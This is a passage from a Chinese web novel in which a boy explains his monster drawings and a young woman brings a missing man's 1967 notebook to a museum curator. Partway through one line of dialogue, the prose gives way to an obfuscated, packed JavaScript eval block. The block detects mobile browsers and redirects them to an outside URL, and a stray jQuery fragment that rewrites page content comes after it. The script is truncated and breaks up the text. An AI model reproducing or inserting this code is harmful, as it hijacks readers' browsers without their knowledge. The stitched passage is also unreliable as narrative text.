郑飞讲的都是电影里的剧情,他的记性倒挺好,只看过一遍却连细节都记得清清楚楚。 讲了半天,终于讲完手上那个本子了。易无钦准备起身,却被郑飞一把摁住,“不慌,我还有一本。” 易无钦:…… 他看看时间还早,倒也不着急,也就安心坐下继续听郑飞讲。 郑飞这一本都是画的妖怪,各种奇奇怪怪的。 “这是应龙,凶(厉害)得很,你看这对翅膀好霸道。有翅膀的龙,不得了得很。” “这是黄风怪,西游记里面的。它其实是只大黄老鼠。你看,旁边这个线,是它的三昧神风。孙悟空都遭吹起跑了,比归望镇的风还要凶。” “这是开明神兽,山海经里面的。它像只大老虎,但是有九个脑壳。你数数,是不是九个?” …… 郑飞介绍得很认真,易无钦抛开杂念去听也很认真。 又翻开一页,一只大肚皮的妖怪浮现眼前。 “这个叫豪餐,特别能吃,永远吃不饱,是只很凶很凶的凶兽。”郑飞瞪大眼睛,想要吓唬易无钦。 “它叫饕餮吧?”易无钦无语道。 郑飞一愣,“啊?叫啥?你给我写下来。” 易无钦拿过笔,在大肚皮妖怪旁写下饕餮两个复杂的字,还贴心地备注了拼音。 “哦,我以为读豪餐,非常能吃嘛。”郑飞嘿嘿笑,又翻开一页,是一只怒目圆瞪张着血盆大口的妖怪,“你猜它是什么?” 易无钦看了又看,不确定地猜:“狮子?龙?大嘴怪?或者啥凶兽?” 郑飞得意洋洋看着他,“错,都不是。” 他指着那只妖怪,“这叫吞口,大口吞掉所有妖魔鬼怪。” “哦。”易无钦听得茫然。 梁婆婆在旁笑道:“这是我们西南地区镇宅的,你是东北人,肯定没听过。我们有时候说很能吃的人就叫他吞口。” 郑飞又翻开一页,这次是一个人形妖怪,头上长了两只角。 “这是啥?羊力大仙?牛魔王?”易无钦又猜,“总不能是金角大王或者银角大王吧?” 郑飞却神色严肃地对他说,“你不能乱说。这是鹿神大人,是好神仙。” “哦,那你这本不是画的各种妖怪吗?怎么这里出现了一个好神仙?”易无钦问。 郑飞恍然大悟,“哦,对对,不能把鹿神大人画在这本上,应该拿一个新本子画。” 他站起来,朝鬼王山的方向拜了拜,态度十分虔诚,“鹿神大人对不起,我重新画。” 易无钦看得莫名其妙,看向一旁的梁婆婆。她倒是见怪不怪。 “什么鹿神大人?也是西南地区的信仰?”他好奇问到。 梁婆婆摇头,“不是。我们这里没啥鹿,倒是有麂子。不知道他哪里听来的鹿神。” 易无钦又对着郑飞说,“那你朝着鬼王山拜什么?” 郑飞却更加严肃了,“鹿神大人是真实的,我见过。” “你见过?在哪儿?”易无钦表示质疑。 郑飞低声对他说,“就在鬼王山里,鹿神大人救过我。” * 郑燕再一次来到了綦江博物馆,这次只有她一个人。 上次来的时候,她根本没心思参观博物馆。这一次,倒是静下心来细细去看每一件文物,看它们的故事。 易松涛的笔记本里有很多关于僚人的记载,她这次结合专展的介绍来看,倒是看懂了一些文化。 “原来这个字不读‘聊’,而是读‘老’。”郑燕看着专展上对僚人读音的注解,自言自语。 认真看进去后,郑燕不知不觉逛到了僚人文化展厅的尾声。 “神秘僚人今何在?”她继续自言自语,“这个民族就这样消失了?” “现在学术界的猜测是大部分僚人融入了汉族,还有小部分向南迁徙到现在的泰国、越南等地。”冷不丁,姜放的声音在背后响起。 郑燕小吓了一下,连忙转身,“姜教授。” 姜放笑呵呵,“等久了吧?不好意思会议时间比较长。” 郑燕笑道:“没有没有,正好我也学习了很多历史文化知识。” 姜放邀请她到办公室坐下,泡了一杯茶,“尝尝,这是隔壁永川博物馆馆长送给我的秀芽,还是明前的。” 郑燕捧起茶杯,闻着那清冽的茶香,心里莫名安定不少。 她从背包里拿出一本书,是上次姜放给她的地方志。 “姜教授,我回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611274|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去看了这本书,里面对于中草药的记载有一些,但不多。不过这有限的记载已经值得研究下去了,对今天的种植也有一些价值。” 姜放惊喜地说,“那太好了,小燕,你要是感兴趣,可以朝这方面研究。我也可以给你提供一些帮助。” “我?”郑燕不好意思笑笑,“我一个在家待业的人,能研究啥?” 姜放朝她摆摆手,“首先,你年轻,有的是时间和机会考一个相关专业的编制,接触更多官方和专业的资源来研究学习。” “其次,研究一个东西,更多的是发自内心的热爱和坚持。多年前,我有一个很好的朋友,他也不是在文史单位工作,但照样认真研究当地文化,还小有所得。可惜,他走得早……” 他叹了口气,收住了话,觉得这并不适合现在讲。 郑燕没说话,慢慢喝着手中杯子里的茶。正如姜放所说,这的确是好茶,流淌在嘴里,唇齿生香。 姜放见她不说话,主动开口,“你也别叫我教授,我本身编制是在博物馆里。是咏絮的学校聘我当客座教授他们才这样叫我。你就跟他们两个年轻人一样,叫我姜叔吧。” “好的,姜叔。”郑燕沉默片刻,才开口说,“姜叔,您刚才说的那个朋友,是易超的爸爸,对吗?” 姜放一愣,随即神情有些落寞,“对啊,我们当年是很好的朋友,他也喜欢研究僚人文化。我们经常在一起交流。可惜,他们两口子好好的人怎么会是这个下场。” “易超爸爸妈妈的事情我听说过,我也知道您和他爸爸是彼此信任的好朋友。”郑燕神情平静地说。 姜放点点头。 郑燕又抿了一口茶,放下杯子,正色道:“姜叔,您是一个值得信任的人,对吧?” 姜放不明所以,疑惑地看着她。 郑燕又继续说,“我的爸爸是做煤矿生意的,从小到大,我在他身边也见过形形色-色的人。虽然我这是第二次见您,但我能看出来,您就是一个值得信任的人。” 姜放放下刚才那本地方志,带了严肃的神情说,“小燕你今天来找我到底是什么事?你可以直接说,不用绕弯子。” “我这里有一个秘密,是跟易超的爸爸有关的。这件事我只能告诉你,而且我希望不会有其他任何人知道,包括易超。”郑燕平静地看着他。 “超超的爸爸?”姜放突然有些激动,“是什么秘密?” 郑燕没有说话,只是看着他。 姜放明白她的意思,只好按捺住激动的心情。他取下胸前的党徽,放在桌子上,“当着党徽的面,我向你承诺,你不让我告诉别人的事情,我绝不透露半个字。” 郑燕盯着那枚党徽看了一会儿,才笑着说,“好,姜叔,我信你。其实,我这个秘密也不是完全不能对人说。我只是要求你绝不要告诉任何人,这件事跟我有关。” 她从背包里拿出一个物件,是用报纸层层叠叠包裹住的。将报纸尽数剥开后,一个老旧的笔记本出现在姜放面前。 1967年,支援工业建设纪念。 姜放一眼就认出来了,他曾经见过很多次。这是易松涛的父亲送给易松涛的,三线建设的纪念笔记本,他对此印象非常深刻。 在易松涛和文绫双双失踪后,他在帮易无钦姥姥整理东西时,找过这个笔记本,可惜怎么也没找到。 没想到,时隔多年后,这个笔记本由一个毫不相关的女孩带到了他面前。